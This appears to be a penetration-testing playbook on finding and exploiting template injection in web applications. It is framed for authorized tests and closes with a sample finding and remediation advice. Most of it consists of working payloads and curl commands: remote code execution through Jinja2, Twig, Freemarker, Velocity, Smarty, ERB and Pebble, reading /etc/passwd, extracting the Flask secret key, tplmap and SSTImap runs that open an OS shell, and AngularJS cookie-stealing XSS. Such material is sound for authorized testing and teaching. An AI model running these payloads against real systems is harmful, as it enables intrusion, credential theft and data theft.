Exploiting Template Injection Vulnerabilities

When to Use

• During authorized penetration tests when user input is rendered through a server-side template engine
• When testing error pages, email templates, PDF generators, or report builders that include user-supplied data
• For assessing applications that allow users to customize templates or notification messages
• When identifying potential SSTI in parameters that reflect arithmetic results (e.g., {{7*7}} returns 49)
• During security assessments of CMS platforms, marketing tools, or any application with templating functionality

Prerequisites

• Authorization: Written penetration testing agreement with RCE testing scope
• Burp Suite Professional: For intercepting and modifying template parameters
• tplmap: Automated SSTI exploitation tool (git clone https://github.com/epinna/tplmap.git)
• SSTImap: Modern SSTI scanner (pip install sstimap)
• curl: For manual SSTI payload testing
• Knowledge of template engines: Jinja2, Twig, Freemarker, Velocity, Mako, Pebble, ERB, Smarty

Workflow

Step 1: Identify Template Injection Points

Find parameters where user input is processed by a template engine.

# Inject mathematical expressions to detect template processing
# If the server evaluates the expression, SSTI may be present

# Universal detection payloads
PAYLOADS=(
  '{{7*7}}'           # Jinja2, Twig
  '${7*7}'            # Freemarker, Velocity, Spring EL
  '#{7*7}'            # Thymeleaf, Ruby ERB
  '<%= 7*7 %>'        # ERB (Ruby), EJS (Node.js)
  '{7*7}'             # Smarty
  '{{= 7*7}}'         # doT.js
  '${{7*7}}'          # AngularJS/Spring
  '#set($x=7*7)$x'   # Velocity
)

for payload in "${PAYLOADS[@]}"; do
  encoded=$(python3 -c "import urllib.parse; print(urllib.parse.quote('$payload'))")
  echo -n "$payload -> "
  curl -s "https://target.example.com/page?name=$encoded" | grep -o "49"
done

# Check common injection locations:
# - Error pages with reflected input
# - Profile fields (name, bio, signature)
# - Email subject/body templates
# - PDF/report generation with custom fields
# - Search results pages
# - 404 pages reflecting the URL path
# - Notification templates

Step 2: Identify the Template Engine

Determine which template engine is in use to select the appropriate exploitation technique.

# Decision tree for engine identification:
# {{7*'7'}} => 7777777 = Jinja2 (Python)
# {{7*'7'}} => 49 = Twig (PHP)
# ${7*7} => 49 = Freemarker/Velocity (Java)
# #{7*7} => 49 = Thymeleaf (Java)
# <%= 7*7 %> => 49 = ERB (Ruby) or EJS (Node.js)

# Test Jinja2 vs Twig
curl -s "https://target.example.com/page?name={{7*'7'}}"
# 7777777 = Jinja2
# 49 = Twig

# Test for Jinja2 specifically
curl -s "https://target.example.com/page?name={{config}}"
# Returns Flask config = Jinja2/Flask

# Test for Freemarker
curl -s "https://target.example.com/page?name=\${.now}"
# Returns date/time = Freemarker

# Test for Velocity
curl -s "https://target.example.com/page?name=%23set(%24a=1)%24a"
# Returns 1 = Velocity

# Test for Smarty
curl -s "https://target.example.com/page?name={php}echo%20'test';{/php}"
# Returns test = Smarty

# Test for Pebble
curl -s "https://target.example.com/page?name={{%27test%27.class}}"
# Returns class info = Pebble

# Use tplmap for automated engine detection
python3 tplmap.py -u "https://target.example.com/page?name=test"

Step 3: Exploit Jinja2 (Python/Flask)

Achieve code execution through Jinja2 template injection.

# Read configuration
curl -s "https://target.example.com/page?name={{config.items()}}"

# Access secret key
curl -s "https://target.example.com/page?name={{config.SECRET_KEY}}"

# RCE via Jinja2 - method 1: accessing os module through MRO
PAYLOAD='{{"".__class__.__mro__[1].__subclasses__()[407]("id",shell=True,stdout=-1).communicate()}}'
curl -s "https://target.example.com/page?name=$(python3 -c "import urllib.parse; print(urllib.parse.quote('$PAYLOAD'))")"

# RCE via Jinja2 - method 2: using cycler
PAYLOAD='{{cycler.__init__.__globals__.os.popen("id").read()}}'
curl -s "https://target.example.com/page?name=$(python3 -c "import urllib.parse; print(urllib.parse.quote('$PAYLOAD'))")"

# RCE via Jinja2 - method 3: using lipsum
PAYLOAD='{{lipsum.__globals__["os"].popen("whoami").read()}}'
curl -s "https://target.example.com/page?name=$(python3 -c "import urllib.parse; print(urllib.parse.quote('$PAYLOAD'))")"

# File read via Jinja2
PAYLOAD='{{"".__class__.__mro__[1].__subclasses__()[40]("/etc/passwd").read()}}'
curl -s "https://target.example.com/page?name=$(python3 -c "import urllib.parse; print(urllib.parse.quote('$PAYLOAD'))")"

# Enumerate available subclasses to find useful ones
PAYLOAD='{{"".__class__.__mro__[1].__subclasses__()}}'
curl -s "https://target.example.com/page?name=$(python3 -c "import urllib.parse; print(urllib.parse.quote('$PAYLOAD'))")"

Step 4: Exploit Twig (PHP), Freemarker (Java), and Other Engines

Use engine-specific payloads for exploitation.

# --- Twig (PHP) ---
# RCE via Twig
curl -s "https://target.example.com/page?name={{['id']|filter('system')}}"
curl -s "https://target.example.com/page?name={{_self.env.registerUndefinedFilterCallback('exec')}}{{_self.env.getFilter('id')}}"

# Twig file read
curl -s "https://target.example.com/page?name={{'/etc/passwd'|file_excerpt(1,30)}}"

# --- Freemarker (Java) ---
# RCE via Freemarker
curl -s "https://target.example.com/page?name=<#assign ex=\"freemarker.template.utility.Execute\"?new()>\${ex(\"id\")}"

# Alternative Freemarker RCE
curl -s "https://target.example.com/page?name=\${\"freemarker.template.utility.Execute\"?new()(\"whoami\")}"

# --- Velocity (Java) ---
# RCE via Velocity
curl -s "https://target.example.com/page?name=%23set(%24e=%22e%22)%24e.getClass().forName(%22java.lang.Runtime%22).getMethod(%22getRuntime%22,null).invoke(null,null).exec(%22id%22)"

# --- Smarty (PHP) ---
# RCE via Smarty
curl -s "https://target.example.com/page?name={system('id')}"

# --- ERB (Ruby) ---
# RCE via ERB
curl -s "https://target.example.com/page?name=<%25=%20system('id')%20%25>"

# --- Pebble (Java) ---
# RCE via Pebble
curl -s "https://target.example.com/page?name={%25%20set%20cmd%20=%20'id'%20%25}{{['java.lang.Runtime']|first.getRuntime().exec(cmd)}}"

Step 5: Automate with tplmap and SSTImap

Use automated tools for comprehensive testing and exploitation.

# tplmap - Automated SSTI exploitation
python3 tplmap.py -u "https://target.example.com/page?name=test" --os-shell

# tplmap with POST parameter
python3 tplmap.py -u "https://target.example.com/page" -d "name=test" --os-cmd "id"

# tplmap with custom headers
python3 tplmap.py -u "https://target.example.com/page?name=test" \
  -H "Cookie: session=abc123" \
  -H "Authorization: Bearer token" \
  --os-cmd "whoami"

# SSTImap
sstimap -u "https://target.example.com/page?name=test"
sstimap -u "https://target.example.com/page?name=test" --os-shell

# tplmap file read
python3 tplmap.py -u "https://target.example.com/page?name=test" \
  --download "/etc/passwd" "/tmp/passwd"

# Burp Intruder approach:
# 1. Send request to Intruder
# 2. Mark the injectable parameter
# 3. Load SSTI payload list
# 4. Grep for indicators: "49", error messages, class names

Step 6: Test Client-Side Template Injection (CSTI)

Assess for Angular/Vue/React expression injection in client-side templates.

# AngularJS expression injection
curl -s "https://target.example.com/page?name={{constructor.constructor('alert(1)')()}}"

# AngularJS sandbox bypass (pre-1.6)
curl -s "https://target.example.com/page?name={{a]constructor.prototype.charAt=[].join;[\$eval('a]alert(1)//')]()}}"

# Vue.js expression injection
curl -s "https://target.example.com/page?name={{_c.constructor('alert(1)')()}}"

# Check for AngularJS ng-app on the page
curl -s "https://target.example.com/" | grep -i "ng-app\|angular\|vue\|v-"

# Test with different CSTI payloads
for payload in '{{7*7}}' '{{constructor.constructor("return this")()}}' \
  '{{$on.constructor("alert(1)")()}}'; do
  encoded=$(python3 -c "import urllib.parse; print(urllib.parse.quote('$payload'))")
  echo -n "$payload: "
  curl -s "https://target.example.com/search?q=$encoded" | grep -oP "49|alert|constructor"
done

Key Concepts

Concept	Description
SSTI	Server-Side Template Injection - injecting template directives that execute server-side
CSTI	Client-Side Template Injection - injecting expressions into AngularJS/Vue templates (leads to XSS)
Template Engine	Software that processes template files with placeholders, replacing them with data
Sandbox Escape	Bypassing template engine security restrictions to access dangerous functions
MRO (Method Resolution Order)	Python class hierarchy traversal used in Jinja2 exploitation
Object Introspection	Using __class__, __subclasses__(), __globals__ to navigate Python objects
Blind SSTI	Template injection where output is not directly visible, requiring OOB techniques

Tools & Systems

Tool	Purpose
tplmap	Automated SSTI detection and exploitation with OS shell capability
SSTImap	Modern SSTI scanner with support for multiple template engines
Burp Suite Professional	Request interception and Intruder for payload fuzzing
Hackvertor (Burp Extension)	Payload encoding and transformation for bypass techniques
PayloadsAllTheThings	Comprehensive SSTI payload reference on GitHub
OWASP ZAP	Automated SSTI detection in active scanning mode

Common Scenarios

Scenario 1: Flask Email Template Injection

A Flask application lets users customize email notification templates. The custom template is rendered with Jinja2 without sandboxing, allowing RCE through {{config.items()}} and subclass traversal.

Scenario 2: Java CMS Freemarker Injection

A Java-based CMS allows administrators to edit page templates using Freemarker. A lower-privileged editor injects <#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")} to execute commands.

Scenario 3: Error Page SSTI

A custom 404 error page reflects the requested URL path through a Twig template. Requesting /{{['id']|filter('system')}} causes the server to execute the id command.

Scenario 4: AngularJS Client-Side Injection

A search page renders results using AngularJS with ng-bind-html. Searching for {{constructor.constructor('alert(document.cookie)')()}} achieves XSS through AngularJS expression evaluation.

Output Format

## Template Injection Finding

**Vulnerability**: Server-Side Template Injection (Jinja2) - RCE
**Severity**: Critical (CVSS 9.8)
**Location**: GET /page?name= (name parameter)
**Template Engine**: Jinja2 (Python 3.9 / Flask 2.3)
**OWASP Category**: A03:2021 - Injection

### Reproduction Steps
1. Send GET /page?name={{7*7}} - Response contains "49" confirming SSTI
2. Send GET /page?name={{config.SECRET_KEY}} - Returns Flask secret key
3. Send GET /page?name={{cycler.__init__.__globals__.os.popen('id').read()}}
4. Server returns: uid=33(www-data) gid=33(www-data)

### Confirmed Impact
- Remote code execution as www-data user
- Secret key disclosure: Flask SECRET_KEY exposed
- File system read: /etc/passwd, application source code
- Potential lateral movement to internal network

### Recommendation
1. Never pass user input directly to template render functions
2. Use a sandboxed template environment (Jinja2 SandboxedEnvironment)
3. Implement strict input validation and allowlisting for template variables
4. Use logic-less template engines (Mustache, Handlebars) where possible
5. Apply least-privilege OS permissions for the web application user